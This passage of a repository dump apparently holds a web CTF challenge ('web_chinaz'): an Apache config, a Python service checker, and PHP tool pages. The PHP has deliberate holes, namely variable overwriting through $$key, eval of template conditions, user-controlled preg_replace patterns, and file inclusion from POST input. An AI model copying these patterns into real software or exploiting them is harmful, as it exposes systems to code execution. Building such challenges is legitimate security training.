which the server should record its process\n# identification number when it starts.\n# This needs to be set in /etc/apache2/envvars\n#\nPidFile ${APACHE_PID_FILE}\n\n#\n# Timeout: The number of seconds before receives and sends time out.\n#\nTimeout 300\n\n#\n# KeepAlive: Whether or not to allow persistent connections (more than\n# one request per connection). Set to \"Off\" to deactivate.\n#\nKeepAlive On\n\n#\n# MaxKeepAliveRequests: The maximum number of requests to allow\n# during a persistent connection. Set to 0 to allow an unlimited amount.\n# We recommend you leave this number high, for maximum performance.\n#\nMaxKeepAliveRequests 100\n\n#\n# KeepAliveTimeout: Number of seconds to wait for the next request from the\n# same client on the same connection.\n#\nKeepAliveTimeout 5\n\n\n# These need to be set in /etc/apache2/envvars\nUser ${APACHE_RUN_USER}\nGroup ${APACHE_RUN_GROUP}\n\n#\n# HostnameLookups: Log the names of clients or just their IP addresses\n# e.g., www.apache.org (on) or 204.62.129.132 (off).\n# The default is off because it'd be overall better for the net if people\n# had to knowingly turn this feature on, since enabling it means that\n# each client request will result in AT LEAST one lookup request to the\n# nameserver.\n#\nHostnameLookups Off\n\n# ErrorLog: The location of the error log file.\n# If you do not specify an ErrorLog directive within a <VirtualHost>\n# container, error messages relating to that virtual host will be\n# logged here.  If you *do* define an error logfile for a <VirtualHost>\n# container, that host's errors will be logged there and not here.\n#\nErrorLog ${APACHE_LOG_DIR}/error.log\n\n#\n# LogLevel: Control the severity of messages logged to the error_log.\n# Available values: trace8, ..., trace1, debug, info, notice, warn,\n# error, crit, alert, emerg.\n# It is also possible to configure the log level for particular modules, e.g.\n# \"LogLevel info ssl:warn\"\n#\nLogLevel warn\n\n# Include module configuration:\nIncludeOptional mods-enabled/*.load\nIncludeOptional mods-enabled/*.conf\n\n# Include list of ports to listen on\nInclude ports.conf\n\n\n# Sets the default security model of the Apache2 HTTPD server. It does\n# not allow access to the root filesystem outside of /usr/share and /var/www.\n# The former is used by web applications packaged in Debian,\n# the latter may be used for local directories served by the web server. If\n# your system is serving content from a sub-directory in /srv you must allow\n# access here, or in any related virtual host.\n<Directory />\n\t# Options FollowSymLinks\n\tAllowOverride all\n\tRequire all denied\n</Directory>\n\n<Directory /usr/share>\n\tAllowOverride all\n\tRequire all granted\n</Directory>\n\n<Directory /var/www/>\n\t#Options Indexes FollowSymLinks\n\tAllowOverride all\n\tRequire all granted\n</Directory>\n\n#<Directory /srv/>\n#\tOptions Indexes FollowSymLinks\n#\tAllowOverride None\n#\tRequire all granted\n#</Directory>\n\n\n\n\n# AccessFileName: The name of the file to look for in each directory\n# for additional configuration directives.  See also the AllowOverride\n# directive.\n#\nAccessFileName .htaccess\n\n#\n# The following lines prevent .htaccess and .htpasswd files from being\n# viewed by Web clients.\n#\n<FilesMatch \"^\\.ht\">\n\tRequire all denied\n</FilesMatch>\n\n\n#\n# The following directives define some format nicknames for use with\n# a CustomLog directive.\n#\n# These deviate from the Common Log Format definitions in that they use %O\n# (the actual bytes sent including headers) instead of %b (the size of the\n# requested file), because the latter makes it impossible to detect partial\n# requests.\n#\n# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.\n# Use mod_remoteip instead.\n#\nLogFormat \"%v:%p %h %l %u %t \\\"%r\\\" %>s %O \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" vhost_combined\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %O \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %O\" common\nLogFormat \"%{Referer}i -> %U\" referer\nLogFormat \"%{User-agent}i\" agent\n\n# Include of directories ignores editors' and dpkg's backup files,\n# see README.Debian for details.\n\n# Include generic snippets of statements\nIncludeOptional conf-enabled/*.conf\n\n# Include the virtual host configurations:\nIncludeOptional sites-enabled/*.conf\n\n# vim: syntax=apache ts=4 sw=4 sts=4 sr noet\n"
  },
  {
    "path": "web_chinaz/build_images.sh",
    "content": "#!/bin/sh\ndocker build -t moxiaoxi/chinaz ."
  },
  {
    "path": "web_chinaz/checker.py",
    "content": "# -*- coding:utf-8 -*-\nimport requests\nimport traceback\nimport re\nimport sys\nfrom random import Random\nimport hashlib\n\npages = ['js', 'phpcom', 'normaliz', 'md5']\n\n\ndef md5(str):\n    m = hashlib.md5()\n    m.update(str)\n    return m.hexdigest()\n\n\ndef sha1(str):\n    m = hashlib.sha1()\n    m.update(str)\n    return m.hexdigest()\n\n\ndef random_str(randomlength=8):\n    str = ''\n    chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'\n    length = len(chars) - 1\n    random = Random()\n    for i in range(randomlength):\n        str += chars[random.randint(0, length)]\n    return str\n\n\ndef find_res(c):\n    rule = r'''<b class=\"search-hint CentHid\"> (.+?) </b>'''\n    # rule = r'form=\"(.+?)\"'\n    return re.findall(rule, c.decode('utf-8', 'ignore'), re.S)\n\n\ndef isValidIp(ip):\n    if re.match(r\"^\\s*\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\s*$\", ip):\n        return True\n    return False\n\n\ndef isValidEmail(email):\n    if re.match(\"^.+\\\\@(\\\\[?)[a-zA-Z0-9\\\\-\\\\.]+\\\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\\\]?)$\", email):\n        return True\n    return False\n\n\ndef check_index(base_url, rand_str, s):\n    try:\n        global pages\n        page = pages[ord(rand_str[0]) % 4]\n        page2 = pages[(ord(rand_str[0]) + 1) % 4]\n        u = base_url + \"index.php?page=\" + pages[ord(rand_str[0]) % 4]\n        # data = {'username': rand_str, 'password': rand_str}\n        r = s.get(u, timeout=10, allow_redirects=False)\n        c = r.content\n        m1 = '''<a href=\"index.php?page=%s\"  class=\"CHeadcur\" >''' % page\n        m2 = '''<a href=\"index.php?page=%s\"  class=\"\" >''' % page2\n        m1 = m1.encode()\n        m2 = m2.encode()\n        res1 = m1 in c and m2 in c\n\n    except Exception as e:\n        print(e)\n        return False, 'check index page exception'\n    return res1, 'index page check'\n\n\ndef check_phpcom(base_url, rand_str, s):\n    try:\n        u = base_url + \"action.php?page=phpcom\"\n        input_code = '''<?php\nrequire_once(\"library/common.php\");\nrequire_once(\"library/view.php\");\n$view_class = new View();\n$data = array();\nif (isset($_GET['page']))\n{\n    $data['page'] = filter($_GET['page']);\n}\nelse{\n    $data['page'] = 'js';\n}\n$view_class->echoContent($data['page'], $data);\n?>%s''' % rand_str\n        data = {'source': input_code, 'res': \"\", 'page': \"phpcom\"}\n        r = s.post(u, data=data, timeout=10, allow_redirects=False)\n        c = r.content\n        m1 = '''&lt;?php\nrequire_once(&quot;library/common.php&quot;); require_once(&quot;library/view.php&quot;); $view_class = new View(); $data = array(); if (isset($_GET['page'])) { $data['page'] = filter($_GET['page']); } else{ $data['page'] = 'js'; } $view_class-&gt;echoContent($data['page'], $data); ?&gt;%s''' % rand_str\n        m1 = m1.encode()\n        res1 = m1 in c\n    except Exception as e:\n        print(e)\n        return False, 'check phpcom page exception'\n    return res1, 'phpcom page check'\n\n\ndef check_md5(base_url, rand_str, s):\n    try:\n        u = base_url + \"action.php?page=phpcom\"\n        input_code = rand_str\n        data = {'source': input_code, 'res': \"\", 'page': \"md5\", 'method': 'md5'}\n        r = s.post(u, data=data, timeout=10, allow_redirects=False)\n        c = r.content\n        m1 = md5(input_code.encode()).encode()\n        res1 = m1 in c\n        data = {'source': input_code, 'res': \"\", 'page': \"md5\", 'method': 'sha1'}\n        r = s.post(u, data=data, timeout=10, allow_redirects=False)\n        c = r.content\n        m2 = sha1(input_code.encode()).encode()\n        res2 = m2 in c\n    except Exception as e:\n        print(e)\n        return False, 'check md5 page exception'\n    return res1 and res2, 'md5 page check'\n\n\ndef check_normaliz(base_url, rand_str, s):\n    try:\n        u = base_url + \"action.php?page=normaliz\"\n        ip = str(ord(rand_str[0]) % 10)\n        for i in range(3):\n            ip += '.' + str(ord(rand_str[i + 1]) % 10)\n        data = {'source': ip, 'res': \"\", 'page': \"normaliz\", 'method': '/\\\\d+\\\\.\\\\d+\\.\\\\d+\\\\.\\\\d+/'}\n        r = s.post(u, data=data, timeout=10, allow_redirects=False)\n        c = r.content\n        ip_res = find_res(c)[-1]\n        res1 = isValidIp(ip_res) and (ip_res != ip)\n        data = {'source': rand_str, 'res': \"\", 'page': \"normaliz\", 'method': '/\\\\d+\\\\.\\\\d+\\.\\\\d+\\\\.\\\\d+/'}\n        r = s.post(u, data=data, timeout=10, allow_redirects=False)\n        c = r.content\n        ip_res = find_res(c)[-1]\n        res2 = (ip_res == rand_str)\n        email = rand_str[:4] + '@as.com'\n        data = {'source': email, 'res': \"\", 'page': \"normaliz\",\n                'method': '/([0-9A-Za-z\\\\-_\\\\.]+)@([0-9a-z]+\\\\.[a-z]{2,3}(\\\\.[a-z]{2})?)/'}\n        r = s.post(u, data=data, timeout=10, allow_redirects=False)\n        c = r.content\n        email_res = find_res(c)[-1]\n        res3 = isValidEmail(email_res) and (email_res != email)\n        data = {'source': rand_str, 'res': \"\", 'page': \"normaliz\",\n                'method': '/([0-9A-Za-z\\\\-_\\\\.]+)@([0-9a-z]+\\\\.[a-z]{2,3}(\\\\.[a-z]{2})?)/'}\n        r = s.post(u, data=data, timeout=10, allow_redirects=False)\n        c = r.content\n        email_res = find_res(c)[-1]\n        res4 = (email_res == rand_str)\n    except Exception as e:\n        traceback.print_exc()\n        print(e)\n        return False, 'check normailz page exception'\n    return res1 and res2 and res3 and res4, 'normailz page check'\n\n\n# check entry point\ndef check_chinaz(host, port):\n    base_url = \"http://%s:%s/\" % (host, port)\n\n    s = requests.Session()\n    rand_str = random_str()\n    # admin service\n    # (res, msg) = check_admin(base_url, rand_str, password)\n\n    # if not res:\n    #     return False, msg\n    # register service\n    (res, msg) = check_index(base_url, rand_str, s)\n    if not res:\n        return False, msg\n\n    (res, msg) = check_phpcom(base_url, rand_str, s)\n    if not res:\n        return False, msg\n    # login service\n    (res, msg) = check_md5(base_url, rand_str, s)\n    if not res:\n        return False, msg\n    # upload service\n    (res, msg) = check_normaliz(base_url, rand_str, s)\n\n    if not res:\n        return False, msg\n\n    return True, 'msg'\n\n\ndef check(target_ip, target_port):\n    flag, msg = check_chinaz(target_ip, target_port)\n    if flag:\n        return True\n    print(msg)\n    return False\n\n\nif __name__ == '__main__':\n    print(check('127.0.0.1', 8801))\n"
  },
  {
    "path": "web_chinaz/chinaz/action.php",
    "content": "<?php\nrequire_once(\"library/common.php\");\nrequire_once(\"library/view.php\");\n$page = filter($_POST['page']).'.php';\n$post_data = array();\nforeach ($_POST as $key => $value) {\n\t$post_data[$key] = $value;\n}\nif (file_exists($page))\n{\n\t@require_once($page);\n}\n?>"
  },
  {
    "path": "web_chinaz/chinaz/config.php",
    "content": "<?php\ndefine('DS', DIRECTORY_SEPARATOR);\n$cfg_basedir = dirname($_SERVER['SCRIPT_FILENAME']) . DS;\n$cfg_logfile = dirname($_SERVER['SCRIPT_FILENAME']) . DS. \"logs/logfile.php\";\n?>"
  },
  {
    "path": "web_chinaz/chinaz/error.php",
    "content": "<html>\n{chinaz:header}\n<img style=\"position:absolute; top:0px;left:0px; width:100%\" src=\"static/images/error.jpg\"/>\n{chinaz:footer}\n</html>"
  },
  {
    "path": "web_chinaz/chinaz/index.php",
    "content": "<?php\nrequire_once(\"library/common.php\");\nrequire_once(\"library/view.php\");\n$view_class = new View();\n$data = array();\nif (isset($_GET['page']))\n{\n\t$data['page'] = filter($_GET['page']);\n}\nelse{\n\t$data['page'] = 'js';\n}\n$view_class->echoContent($data['page'], $data);\n?>"
  },
  {
    "path": "web_chinaz/chinaz/library/.htaccess",
    "content": "deny from all"
  },
  {
    "path": "web_chinaz/chinaz/library/common.php",
    "content": "<?php \nerror_reporting(0);\nrequire_once(dirname(__FILE__).'/../config.php');\nfunction loadFile($filePath)\n{\n\tglobal $cfg_basedir;\n\tif(!file_exists($filePath)){\n\t\twrite_log('Try to open Null file:'.$filePath);\n\t\treturn file_get_contents($cfg_basedir.'/error.php');\n\t}\n\t$fp = @fopen($filePath,'r');\n\t$sourceString = @fread($fp,filesize($filePath));\n\t@fclose($fp);\n\treturn $sourceString;\n}\nfunction buildregx($regstr,$regopt)\n{\n\treturn '/'.str_replace('/','\\/',$regstr).'/'.$regopt;\n}\nfunction filter($input)\n{\n\treturn str_replace('.', '', $input);\n}\nfunction write_log($input)\n{\n\tglobal $cfg_logfile;\n    file_put_contents($cfg_logfile, $input, FILE_APPEND);\n}\n\n//中文截取2，单字节截取模式\n//如果是request的内容，必须使用这个函数\nfunction cn_substrR($str,$slen,$startdd=0)\n{\n\t$str = cn_substr(stripslashes($str),$slen,$startdd);\n\treturn addslashes($str);\n}\n\n//中文截取2，单字节截取模式\nfunction cn_substr_utf8($str, $length, $start=0)\n{\n\t$lgocl_str=$str;\n\t//echo strlen($lgocl_str).\"||\".$length;\n    if(strlen($str) < $start+1)\n    {\n        return '';\n    }\n    preg_match_all(\"/./su\", $str, $ar);\n    $str = '';\n    $tstr = '';\n\n    //为了兼容mysql4.1以下版本,与数据库varchar一致,这里使用按字节截取\n    for($i=0; isset($ar[0][$i]); $i++)\n    {\n        if(strlen($tstr) < $start)\n        {\n            $tstr .= $ar[0][$i];\n        }\n        else\n        {\n            if(strlen($str) < $length  )\n            {\n                $str .= $ar[0][$i];\n            }\n            else\n            {\n                break;\n            }\n        }\n    }\n    return $str;\n}\nfunction ExecTime()\n{\n\t$time = explode(\" \", microtime());\n\t$usec = (double)$time[0];\n\t$sec = (double)$time[1];\n\treturn $sec + $usec;\n}\n\nfunction getRunTime($t1)\n{\n\t$t2=ExecTime() - $t1;\n\treturn \"页面执行时间: \".number_format($t2, 6).\"秒\";\n}\nfunction GetIP()\n{\n\tif(!empty($_SERVER[\"HTTP_CLIENT_IP\"]))\n\t{\n\t\t$cip = $_SERVER[\"HTTP_CLIENT_IP\"];\n\t}\n\telse if(!empty($_SERVER[\"HTTP_X_FORWARDED_FOR\"]))\n\t{\n\t\t$cip = $_SERVER[\"HTTP_X_FORWARDED_FOR\"];\n\t}\n\telse if(!empty($_SERVER[\"REMOTE_ADDR\"]))\n\t{\n\t\t$cip = $_SERVER[\"REMOTE_ADDR\"];\n\t}\n\telse\n\t{\n\t\t$cip = '';\n\t}\n\tpreg_match(\"/[\\d\\.]{7,15}/\", $cip, $cips);\n\t$cip = isset($cips[0]) ? $cips[0] : 'unknown';\n\tunset($cips);\n\treturn $cip;\n}\n?>"
  },
  {
    "path": "web_chinaz/chinaz/library/view.php",
    "content": "<?php\nclass View\n{\t\n\tprivate $templateDir;\n\tprivate $data;\n\tfunction __construct()\n\t{\n\t\tglobal $cfg_basedir;\n\t\t$this->templateDir=$cfg_basedir.\"/views/templates\".DS;\n\t}\n\tfunction parseHeadAndFoot($content)\n\t{\n\t\t$content=str_replace(\"{chinaz:header}\",loadFile($this->templateDir.\"header.php\"),$content);\n\t\t$content=str_replace(\"{chinaz:footer}\",loadFile($this->templateDir.\"footer.php\"),$content);\n\t\treturn $content;\n\t}\n\tfunction parseStrIf($strIf)\n\t{\n\t\tif(strpos($strIf,'=')===false)\n\t\t{\n\t\t\treturn $strIf;\n\t\t}\n\t\tif((strpos($strIf,'==')===false)&&(strpos($strIf,'=')>0))\n\t\t{\n\t\t\t$strIf=str_replace('=', '==', $strIf);\n\t\t}\n\t\t$strIfArr =  explode('==',$strIf);\n\t\treturn (empty($strIfArr[0])?'NULL':$strIfArr[0]).\"==\".(empty($strIfArr[1])?'NULL':$strIfArr[1]);\n\t}\n\tfunction parseVal($content){\n\t\t$data = $this->data;\n\t\tforeach ($data as $key => $value) {\n\t\t\t$content = str_replace(\"{?=\".$key.\"?}\", $value, $content);\n\t\t}\n\t\t$content = preg_replace(\"/{\\?=[a-z]*\\?}/\", \"\", $content);\n\t\treturn $content;\n\t}\n\n\tfunction parseIf($content){\n\t\tif (strpos($content,'{if:')=== false){\n\t\treturn $content;\n\t\t}else{\n\t\t$Rule = buildregx(\"{if:(.*?)}(.*?){end if}\",\"is\");\n\t\t$Rule2=\"{elseif\";\n\t\t$Rule3=\"{else}\";\n\t\tpreg_match_all($Rule,$content,$iar);\n\t\t$arlen=count($iar[0]);\n\t\t$ifstatus=false;\n\t\t$elseIfstatus=false;\n\t\tfor($m=0;$m<$arlen;$m++){\n\t\t\t$strIf=$iar[1][$m];\n\t\t\t$strIf=$this->parseStrIf($strIf);\n\t\t\t$strThen=$iar[2][$m];\n\t\t\t$strThen=$this->parseSubIf($strThen);\n\t\t\tif (strpos($strThen,$Rule2)===false){\n\t\t\t\tif (strpos($strThen,$Rule3)>=0){\n\t\t\t\t\t$elseary=explode($Rule3,$strThen);\n\t\t\t\t\t$strThen1=$elseary[0];\n\t\t\t\t\t$strElse1=$elseary[1];\n\t\t\t\t\ttry{\n\t\t\t\t\t\t@eval(\"if(\".$strIf.\"){\\$ifstatus=true;}else{\\$ifstatus=false;}\");\n\t\t\t\t\t}catch(Throwable $e){$ifstatus=false;}\n\t\t\t\t\tif ($ifstatus){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}\n\t\t\t\t}else{\n\t\t\t\ttry{\n\t\t\t\t\t@eval(\"if(\".$strIf.\") { \\$ifstatus=true;} else{ \\$ifstatus=false;}\");\n\t\t\t\t}catch(Throwabl $e){$ifstatus=false;}\n\t\t\t\tif ($ifstatus) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],\"\",$content);}\n\t\t\t}else{\n\t\t\t\t$elseIfary=explode($Rule2,$strThen);\n\t\t\t\t$elseIfaryLen=count($elseIfary);\n\t\t\t\t$elseIfSubary=explode($Rule3,$elseIfary[$elseIfaryLen-1]);\n\t\t\t\t$resultStr=$elseIfSubary[1];\n\t\t\t\t$elseIfarystr0=addslashes($elseIfary[0]);\n\t\t\t\ttry{\n\t\t\t\t\t@eval(\"if($strIf){\\$resultStr=\\\"$elseIfarystr0\\\";}\");\n\t\t\t\t}catch(Throwable $e){$ifstatus=false;}\n\t\t\t\tfor($elseIfLen=1;$elseIfLen<$elseIfaryLen;$elseIfLen++){\n\t\t\t\t\t$strElseIf=$this->parseStrIf($strElseIf);\n\t\t\t\t\ttry{\n\t\t\t\t\t\t@eval(\"if(\".$strElseIf.\"){\\$resultStr=\\\"$strElseIfThen\\\";}\");\n\t\t\t\t\t}catch(Throwable $e){$ifstatus=false;}\n\t\t\t\t\ttry{\n\t\t\t\t\t\t@eval(\"if(\".$strElseIf.\"){\\$elseIfstatus=true;}else{\\$elseIfstatus=false;}\");\n\t\t\t\t\t}catch(Throwable $e){$ifstatus=false;}\n\t\t\t\t\tif ($elseIfstatus) {break;}\n\t\t\t\t}\n\t\t\t\tif(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);\n\t\t\t\ttry{\n\t\t\t\t\t@eval(\"if(\".$strElseIf0.\"){\\$resultStr=\\\"$strElseIfThen0\\\";\\$elseIfstatus=true;}\");\n\t\t\t\t}catch(Throwable $e){$ifstatus=false;}\n\t\t\t\t$content=str_replace($iar[0][$m],$resultStr,$content);\n\t\t\t}\n\t\t}\n\t\treturn $content;\n\t\t}\n\t}\n\t\n\tfunction parseSubIf($content){\n\t\tif (strpos($content,'{subif:')=== false){\n\t\treturn $content;\n\t\t}else{\n\t\t$Rule = buildregx(\"{subif:(.*?)}(.*?){end subif}\",\"is\");\n\t\t$Rule2=\"{elseif\";\n\t\t$Rule3=\"{else}\";\n\t\tpreg_match_all($Rule,$content,$iar);\n\t\t$arlen=count($iar[0]);\n\t\t$elseIfstatus=false;\n\t\tfor($m=0;$m<$arlen;$m++){\n\t\t\t$strIf=$iar[1][$m];\n\t\t\t$strIf=$this->parseStrIf($strIf);\n\t\t\t$strThen=$iar[2][$m];\n\t\t\t$strThen=$this->parseIf($strThen);\n\t\t\tif (strpos($strThen,$Rule2)===false){\n\t\t\t\tif (strpos($strThen,$Rule3)>=0){\n\t\t\t\t\t$elseary=explode($Rule3,$strThen);\n\t\t\t\t\t$strThen1=$elseary[0];\n\t\t\t\t\t$strElse1=$elseary[1];\n\t\t\t\t\t@eval(\"if(\".$strIf.\"){\\$ifstatus=true;}else{\\$ifstatus=false;}\");\n\t\t\t\t\tif ($ifstatus){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}\n\t\t\t\t}else{\n\t\t\t\t@eval(\"if(\".$strIf.\") { \\$ifstatus=true;} else{ \\$ifstatus=false;}\");\n\t\t\t\tif ($ifstatus) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],\"\",$content);}\n\t\t\t}else{\n\t\t\t\t$elseIfary=explode($Rule2,$strThen);\n\t\t\t\t$elseIfaryLen=count($elseIfary);\n\t\t\t\t$elseIfSubary=explode($Rule3,$elseIfary[$elseIfaryLen-1]);\n\t\t\t\t$resultStr=$elseIfSubary[1];\n\t\t\t\t$elseIfarystr0=addslashes($elseIfary[0]);\n\t\t\t\t@eval(\"if($strIf){\\$resultStr=\\\"$elseIfarystr0\\\";}\");\n\t\t\t\tfor($elseIfLen=1;$elseIfLen<$elseIfaryLen;$elseIfLen++){\n\t\t\t\t\t$strElseIf=$this->parseStrIf($strElseIf);\n\t\t\t\t\t@eval(\"if(\".$strElseIf.\"){\\$resultStr=\\\"$strElseIfThen\\\";}\");\n\t\t\t\t\t@eval(\"if(\".$strElseIf.\"){\\$elseIfstatus=true;}else{\\$elseIfstatus=false;}\");\n\t\t\t\t\tif ($elseIfstatus) {break;}\n\t\t\t\t}\n\t\t\t\t$strElseIf0=$this->parseStrIf($strElseIf0);\n\t\t\t\t@eval(\"if(\".$strElseIf0.\"){\\$resultStr=\\\"$strElseIfThen0\\\";\\$elseIfstatus=true;}\");\n\t\t\t\t$content=str_replace($iar[0][$m],$resultStr,$content);\n\t\t\t}\n\t\t}\n\t\treturn $content;\n\t\t}\n\t}\n\tfunction echoContent($vId, $data)\n\t{\n\t\t$this->data = $data;\n\t\t$content = loadFile(\"views/\".$vId.\".php\");\n\t\t$content = $this->parseHeadAndFoot($content);\n\t\t$content = $this->parseVal($content);\n\t\t$content = $this->parseIf($content);\n\t\techo $content;\n\t}\n}"
  },
  {
    "path": "web_chinaz/chinaz/logs/.htaccess",
    "content": "deny from all"
  },
  {
    "path": "web_chinaz/chinaz/logs/logfile.php",
    "content": "Try to open Null file:views/uppercase.php"
  },
  {
    "path": "web_chinaz/chinaz/md5.php",
    "content": "<?php\nrequire_once(\"library/common.php\");\nrequire_once(\"library/view.php\");\nfunction action($post_data){\n\tforeach ($post_data as $key => $value) {\n\t\t$$key = $value;\n\t}\n\tif ($method==='md5'){\n\t\t$res = md5($source);\n\t}\n\tif ($method==='sha1'){\n\t\t$res = sha1($source);\n\t}\n\treturn $res;\n}\n$view_class = new View();\n$data = array();\n$data['page'] = 'md5';\n$data['res'] = action($post_data);\n$view_class->echoContent($data['page'], $data);\n?>"
  },
  {
    "path": "web_chinaz/chinaz/normaliz.php",
    "content": "<?php\nrequire_once(\"library/common.php\");\nrequire_once(\"library/view.php\");\nfunction action($post_data, $ip_replacement, $mail_replacement){\n\tforeach ($post_data as $key => $value) {\n\t\t$$key = $value;\n\t}\n\ttry{\n\t\tif ($method == '/\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+/')\n\t\t{\n\t\t\t$res = preg_replace($method, $ip_replacement, $source);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$res = preg_replace($method, $mail_replacement, $source);\n\t\t}\n\n\t}\n\tcatch(Exception $e)\n\t{\n\t\twrite_log($e->getMessage());\n\t\t$res=$source;\n\t}\n\treturn $res;\n}\n$view_class = new View();\n$data = array();\n$data['page'] = 'normaliz';\n$ip_replacement = '222.222.222.222';\n$mail_replacement = 'lollol@lol.com';\n$data['res'] = action($post_data, $ip_replacement, $mail_replacement);\n$view_class->echoContent($data['page'], $data);\n?>"
  },
  {
    "path": "web_chinaz/chinaz/phpcom.php",
    "content": "<?php\nrequire_once(\"library/common.php\");\nrequire_once(\"library/view.php\");\nfunction action($post_data){\n\tforeach ($post_data as $key => $value) {\n\t\t$$key = $value;\n\t}\n\tfile_put_contents('/tmp/tmp.txt', $source);\n\t$res = php_strip_whitespace('/tmp/tmp.txt');\n\tunlink('/tmp/tmp.txt');\n\treturn htmlentities($res);\n}\n$view_class = new View();\n$data = array();\n$data['page'] = 'phpcom';\n$data['res'] = action($post_data);\n$view_class->echoContent($data['page'], $data);\n?>"
  },
  {
    "path": "web_chinaz/chinaz/static/js/jq-public.js",
    "content": "﻿// JavaScript Document\n$(function () {\n    fn();\n    $(window).on('resize', function () {\n        fn()\n\n    });\n});\nfunction fn() {\n    var winWidth = window.innerWidth || document.documentElement && document.documentElement.clientWidth || 0,\n        pageWidth = 'SMALL';\n\n    // 获取 body 宽度设定。\n    var pageWidthDef = {\n        SMALL: 1000,\n        LARGE: 1200\n    };\n    if (winWidth >= 1200) {    // @media screen and (min-width: 1280px)\n        pageWidth = 'LARGE';\n    } else {                  // Default width.\n        pageWidth = 'SMALL';\n    }\n\n\n    //document.body.className += (' pu' + pageWidth.toLowerCase());\n    $(\"body\").attr(\"class\", ' pu' + pageWidth.toLowerCase());\n}\n$(document).ready(function () {\n    //ToolTop\n    menuHover($(\"#menu li>a\"), $(\"#menu li p\"), function (_this) {\n        _this.siblings().addClass(\"OnCurt\");\n    }, function (_this) {\n        _this.siblings().removeClass(\"OnCurt\");\n    }, 200);\n    //Navbar\n    var timer;\n    $(\"#Navbar\").hover(function () {\n        clearTimeout(timer);\n        timer = setTimeout(function () {\n            $(\"#ToolNav\").addClass(\"ToolNavbar-hover\");\n        }, 300);\n    }, function () {\n        clearTimeout(timer);\n        $(\"#ToolNav\").removeClass(\"ToolNavbar-hover\");\n    });\n\n    $(\".WrapHid\").each(function () {\n        checkFocus({\n            obj_input: $(this),\n            msgBox: $(this).siblings(\".CentHid\"),\n            Tip: \"CentHid\"\n        });\n        clearInput({\n            obj_input: $(this),\n            msgBox: $(this).siblings(\"._CentHid\"),\n            Tip: \"_CentHid\"\n        });\n    });\n\n    $(\".ToolChoese\").each(function () {\n        _select({\n            select: $(this).find(\".SearChoese\"),\n            options: $(this).find(\"ul.SearChoese-show\"),\n            option: $(this).find(\"ul.SearChoese-show li a\"),\n            t: \"slide\", //效果（可选参数）\n            parents: $(\".ToolChoese\")//多个select时，传入父级（可选参数）\n        });\n    });\n\n    Init(); //保存输入框的记录 ::如果输入框要保存为url input[url='true'],关键词则为input[words='true']\n    getLochis();\n    boxScroll({\n        _scroll: $(\"#toTop\"),\n        _width: 30,\n        isresize: true,\n        callback: function (op, _scrolltop) {\n            if (_scrolltop >= 100) {\n                $(\"#TFloat\").fadeIn(200);\n            } else {\n                $(\"#TFloat\").fadeOut(200);\n            }\n            $(\"#TFloat\").click(function () {\n                $(\"html,body\").stop().animate({ scrollTop: 0 }, 200);\n            });\n        }\n    });\n    menuHover($(\"#record\"), $(\"#RecordShow\"));\n    $(\"input[isnum='true']\").on(\"keyup keydown\", function (e) { entNumber(e, 1) }); //只能输入(不包含小数点)数字\n    $(\"input[isnums='true']\").on(\"keyup keydown\", function (e) { entNumber(e) }); //只能输入(或包含小数点)数字 \n\n    $(\".ToFooter a\").hover(function () {\n        $(\".ToFooter a\").removeClass(\"ToCurt\");\n        $(this).addClass(\"ToCurt\");\n        var index = $(this).index();\n        $(\".GMFocusBox\").addClass(\"autohide\")\n        $(\".GMFocusBox\").eq(index).removeClass(\"autohide\");\n    });\n    //    if (loadscripts) {\n    //        for (var i = 0; i < loadscripts.length; i++) {\n    //            loadScript({ url: loadscripts[i], elms: document.getElementsByTagName(\"body\")[0] })\n    //        } \n    //    }\n    if ($(\"#settingpopup\").length) {\n        $(\"#settingpopup\").addClass(\"autohide\");\n        $(\"#top_link_center\").mouseover(function () {\n            $(\"#settingpopup\").removeClass(\"autohide\");\n        });\n    }\n    //粘贴IP 分解\n    $(\".ipgroup\").each(function () {\n        var group = $(this);\n        group.find(\"input[n^='ip']\").bind(\"paste\", function (e) {\n            var obj = e.target ? e.target : e.srcElement;\n            setTimeout(function () {\n                var ip = $(obj).val().trim();\n                var ipReg = /^((2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.){3}(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)(\\/(2[0-4]\\d|25[0-5]|[01]?\\d\\d?))?$/;\n                if (!ipReg.test(ip)) return;\n                var ipArr = ip.split('.');\n                group.find(\"[n='ip1']\").val(ipArr[0]);\n                group.find(\"[n='ip2']\").val(ipArr[1]);\n                group.find(\"[n='ip3']\").val(ipArr[2]);\n                var iplastByte = ipArr[3];//允许输入127.0.0.1/2  输出结果为 127 0 0 2\n                if (iplastByte.indexOf(\"/\")) {\n                    iplastByte = iplastByte.split('/');\n                    group.find(\"[n='ip4']\").val(iplastByte[iplastByte.length - 1]);\n                } else\n                    group.find(\"[n='ip4']\").val(iplastByte);\n            }, 50);\n        });\n    });\n\n\n});\n\nfunction menuHover(menuObj, menuItem, itemOverbackall, itemOutbackall, timer) {\n    if (!timer) timer = 200;\n    var hoverTimer, outTimer;\n    menuObj.hover(function () {\n        var _this = $(this);\n        clearTimeout(hoverTimer);\n        hoverTimer = setTimeout(function () {\n            menuItem.hide();\n            _this.nextAll().show();\n        }, timer);\n    }, function () {\n        var _this = $(this);\n        clearTimeout(outTimer);\n        outTimer = setTimeout(function () {\n            _this.nextAll().hide();\n        }, timer);\n    });\n    menuItem.hover(function () {\n        var _this = $(this);\n        clearTimeout(hoverTimer);\n        hoverTimer = setTimeout(function () 